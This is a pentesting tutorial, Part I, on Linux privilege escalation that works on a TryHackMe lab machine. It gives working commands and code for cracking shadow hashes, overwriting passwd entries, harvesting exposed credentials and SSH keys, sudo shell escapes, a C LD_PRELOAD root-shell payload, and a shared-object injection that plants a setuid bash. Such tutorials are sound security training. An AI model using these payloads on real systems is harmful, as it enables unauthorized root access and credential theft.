A Guide to Linux Privilege Escalation Attacks (Part I)

Privilege escalation is a key part of pentesting. Imagine a Linux system with three users: Asher, Cyber, and Root. Each has a different permission set.

Asher can access and modify all the files he owns. Because the system administrator put him in the sudo group, he can access root permission. He may need to authenticate himself- for example, by entering a password- in order to escalate his privileges.

Cyber is a newer user, and he can access and modify all the files he owns, too. He can also manage a few services, like FTP.

Root has access to the whole system. This user can do anything, and with 0 limitations.

It’s not enough to just get a shell. Unless an organization has an exceptionally poor security posture, you need to get root access on a machine to truly compromise the network.

In this scenario, privilege escalation will consist of moving from Cyber (user with lowest privileges) to Asher (user with more privileges) to Root (user with maximum privileges.)

We’re going to cover the two types of privilege escalation. From there, I’ll demonstrate how to escalate your privileges using these techniques:

Part 1 Lesson:

  • Basics
    • Readable /etc/shadow file
    • Writable /etc/shadow file
    • Writable /etc/passwd file
    • Exposed password
    • Readable SSH Keys
  • SUDO
    • Shell escaping
    • LD_PRELOAD/Environment Variable Manipulation
    • CVE
  • SUID/SGID
    • Shared object injection

Part II Lesson:

  • SUID
    • SUID with PATH environment variable (indirect path)
    • SUID with PATH environment variable (direct path)
  • Capabilities
  • Cronjobs
    • PATH environment variable abusing
    • Wildcard abusing
    • Weak file permission abusing
  • NFS Root Squashing
  • Kernel Exploit
    • DirtyCow
    • DirtyPipe
    • OverlayFS
  • Tools for automation

THE TWO TYPES OF PRIVILEGE ESCALATION

Vertical Privilege Escalation

  • You simply gain higher privileges than the current user has. When you switch from a normal user to a sudo level or root user, this is a vertical privilege escalation.

Horizontal Privilege Escalation

  • Rather than obtaining higher privileges, you gain access to other accounts with the same privileges you currently have. Attackers use this technique to expand their sphere of access across a network.

PREPARATION

To demonstrate the privilege escalation techniques I listed earlier, I’m going to use this TryHackMe machine. Start it and login with ssh. The username is “TCM” and the password is “Hacker123”.

I had trouble connecting via SSH at first, but I found a solution here.

image.png

BASICS

Weak File Permission

Only the root user should have permission to read or write certain files. System administrators can sometimes mess this up, but it doesn’t happen often. Let’s check out some of these files.

Readable /etc/shadow file

The /etc/shadow file contains all the users and password hashes. It should be readable and writable by the root only, and readable by the shadow group only.

image.png

If you can read the shadow file, you can see the password hashes. Then you can use John the Ripper or Hashcat to crack it.

On the TryHackMe machine, the TCM user can read the /etc/shadow file. Let’s crack the root password hash.

Copy the entire line for the root hash (the “root:” and the hash.)

image.png

Vim a new file. Paste the hash in.

image.png

There’s another file on Linux systems- the /etc/passwd file – that keeps track of every registered user. This file can only be modified by root or users with sudo privileges, and it’s readable by all system users.

In order to crack a hash obtained from the shadow file, you have to first “unshadow” the file. This is a process where we combine the /etc/passwd file with /etc/shadow in order for John to understand what we’re feeding it.

Cat the /etc/passwd file and copy the entire line containing the root user’s information. Like this:

image.png

Then vim a file and copy that line into it.

image.png

To unshadow the shadow file, run this command:

image.png

Run “ls” – you will see the unshadowed.txt file.

image.png

Now run the command:

john --wordlist=/usr/share/wordlists/rockyou.txt <unshadowed.txt.file_name>
image.png

Great work! We’ve cracked the root password hash.

Writable /etc/shadow file

If the shadow file is writable, you can make your own password hashes and attach them to users within the file.

First, make a new user on your local machine.

image.png

Run this command to generate a password hash:

mkpasswd -m sha512crypt

In this case, I used the password “asher”.

image.png

Cat the /etc/shadow file. You’ll see that example_user has a hash like this:

image.png

Vim the file and delete the “!” after “example_user:”

  • If you’re wondering “why do I remove the exclamation point?”, you can learn why here.

Where you deleted the exclamation point- in between the two colons- paste the hash into that spot.

It should look like this:

Now access your /etc/shadow file and replace the example user’s hash with the one you just generated.

image.png

Now you can access the user account.

image.png

Writable /etc/passwd file

Cat the /etc/passwd file. At the bottom, you will see the example_user’s information.

image.png

The “x” after “example_user:” is a placeholder for the password hash. When someone logs in to a Unix system, it will check the passwd file. If it finds the user, it will head to the shadow file to obtain the hash.

If the passwd file is writable, you can replace the “x” with any hash.

Try this yourself. Use the command ‘mkpasswd -m sha512crypt’ to create a password hash. I’ll use the password “hello”.

image.png

Now vim the /etc/passwd file. Replace the “x” with the hash.

Before:

image.png

After:

image.png

You can now login with the password. No hash cracking needed!

image.png

Exposed password

This is more likely to be found in a real system. Passwords are often stored in files that anyone can access.

For example, on the terminal connected to the TryHackMe machine, run this command:

cat /home/user/myvpn.ovpn
image.png

There’s an auth.txt file! Cat that file.

image.png

It contains the username and password. Real-life scenarios may not be this simple, but the concept is important. Be sure to check files that seem suspicious and could hold credentials.

One file you should always check are config files. Usernames, passwords, API keys, and all sorts of valuable goodies are often found here.

image.png

All Linux shells store their history in a history file. I recommend searching this too, as you’ll find out what the system owner is doing. You might also find API keys or credentials.

image.png

SSH Keys

Note: I used a virtual machine with a different IP for this section. The new IP address is 10.10.148.56

It’s possible to SSH into a system without entering the user’s password. I’ll show you how a readable SSH Key file can be abused to get access this way.

Run this command:

find / -name id_rsa 2> /dev/null

It will help you find the path to the id_rsa file inside the machine.

image.png

Let’s see if we can read it:

image.png

Copy this key to a file on your local machine. I simply vim’d a file, named it “id_rsa”, and pasted it in.

SSH won’t work properly if the permissions on the file are too open. Run this command:

chmod 400 id_rsa

Then the command:

ssh -oPubKeyAcceptedAlgorithms=+ssh-rsa -i id_rsa root@<ip>
image.png

Nice work!

If you are still prompted for a password, I found a solution here. Vim a ~/.ssh/config file and paste this into the file:

image.png

SUDO

Sudo -l (shell escaping)

The command ‘sudo -l’ shows all the binaries that a user can execute (the blue box.) It also shows which user’s permission it executes with (the yellow box) and whether it takes a password or not (the red box.)

image.png

For any binary files that pop up, search for exploits in GTFOBIN. I’ll demonstrate with the binary “more”.

Search for it on GTFOBIN.

image.png
image.png

There’s an exploit. Let’s apply the code!

image.png

As you can see, this gave us access to a root shell.

LD_PRELOAD

LD_PRELOAD is an environment variable that can load the path of a shared object file before any other files. This can be manipulated for privilege escalation.

Run the ‘sudo -l’ command. Look at the second to last listing: there’s an ‘apache2’ binary.

image.png

When I searched in GTFOBIN for ‘apache’, I got nothing. However, we can run apache as sudo. There’s just one problem: apache can’t give us root access.

As you can see, LD_PRELOAD is set in sudo. Let’s see if we can combine a manipulated LD_PRELOAD environment variable with the apache binary file to get root access.

Let me explain the variables in this image:

image.png

‘env_reset’ resets all the environment variables each time a user uses sudo. This way, attackers can’t use them to escalate their privileges.

Some system owners want their environment variables to stay the same, though. env_keep enables specific environment variables to stay the same.

Save the code below. It’s written in c, so give the file a “.c” extension.

#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() {    unsetenv("LD_PRELOAD");    setgid(0);    setuid(0);    system("/bin/bash");}

Here’s what the code does:

  • Unsets the LD_PRELOAD environment variable.
  • Sets the group and user value to 0, which is the root’s user identifier (UID).
  • When the program obtains root access, the system variable initiates a bash shell.

Let’s test it. Compile the code with this command:

gcc -fPIC -shared -o /tmp/shell.so <c_code_file_name> -nostartfiles
image.png

Now run this command to get the root:

sudo LD_PRELOAD=/tmp/shell.so /usr/sbin/apache2
image.png

CVE

If the methods above don’t work, you can always run “sudo -v” and search online for an exploit.

image.png

You can practice on this machine. Run ‘sudo -V’, find an exploit, and execute it.

SUID (Set Owner User ID)

This is a permission type for executable files. When it’s enabled, different users can run an executable with the same permissions as the owner.

Follow along to see how this can be exploited.

Switch to root using the password we obtained earlier: password123

Run this command to copy the /bin/bash shell file:

cp /bin/bash bash

Now run ‘ls -l bash’ to list permissions for the file:

image.png

Change both the owner and group to the root with this command:

chown root:root bash
image.png

Now give it SUID permissions with this command:

chmod u+s bash
image.png

You’ll notice the file permission change to “rwsr”.

Because of our SUID changes, the file can be executed with the same permissions as the owner of the file.

Follow along:

Exit out of the root user and execute bash. When you execute the bash file with the root owner’s permission, you get a root shell.

image.png

SGID

This is similar to SUID escalation. But instead of a file operating with the owner’s permission, it will operate with the group’s permission.

Execute this command to activate the SGID bit:

chmod g+s bash
image.png

The “s” in the green rectangle indicates that the SGID bit is activated.

Exit out of the root and execute bash again. We’re still TCM, but the TCM user is added to the group of root.

image.png

If we have an exploitable SUID or SGID binary, we can escalate privileges.

Use one of these commands to find binaries with the SUID or SGID bits activated:

`find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;`

or:

`find / -uid 0 -perm -4000 -type f 2>/dev/null`.

image.png

I chose the binary with the rectangle around it, because it has the requirements for an exploit. I couldn’t find exploits in GTFOBIN, but I searched Google and found this ExploitDB page.

Copy and paste the commands:

image.png
image.png

Boom! We have a root shell.

Final Method: Shared Object Injection (Limited SUID)

In this case, the SUID binary doesn’t have the ability to escalate privileges. But inside the SUID binary, there are binaries in use that can escalate your privilege. Follow along.

Enter this command to detect binaries with the SUID or SGID bits set:

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

image.png
You will find a binary called suid-so. It’s made by the owner of this machine just to demonstrate (you won’t find this exact binary in actual machines.)

Run this command:

strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file”
image.png

As you can see, there are missing directories. If the directory is missing, the file is also not there. Let’s create one of these directories, make a file with some malicious code, and place it there. When the binary is executed, our code will run.

Make a new directory titled “.config”.

image.png

In the directory, save this code as ‘libcalc.c’

#include <stdio.h>#include <stdlib.h>static void inject() __attribute__((constructor));void inject() {    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");}

Now compile it with this command:

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/libcalc.c
image.png

Confirm the binary location and run the binary. Check your ID.

image.png

Excellent work!

That’s all for now. The remainder of the topics will be covered in part II.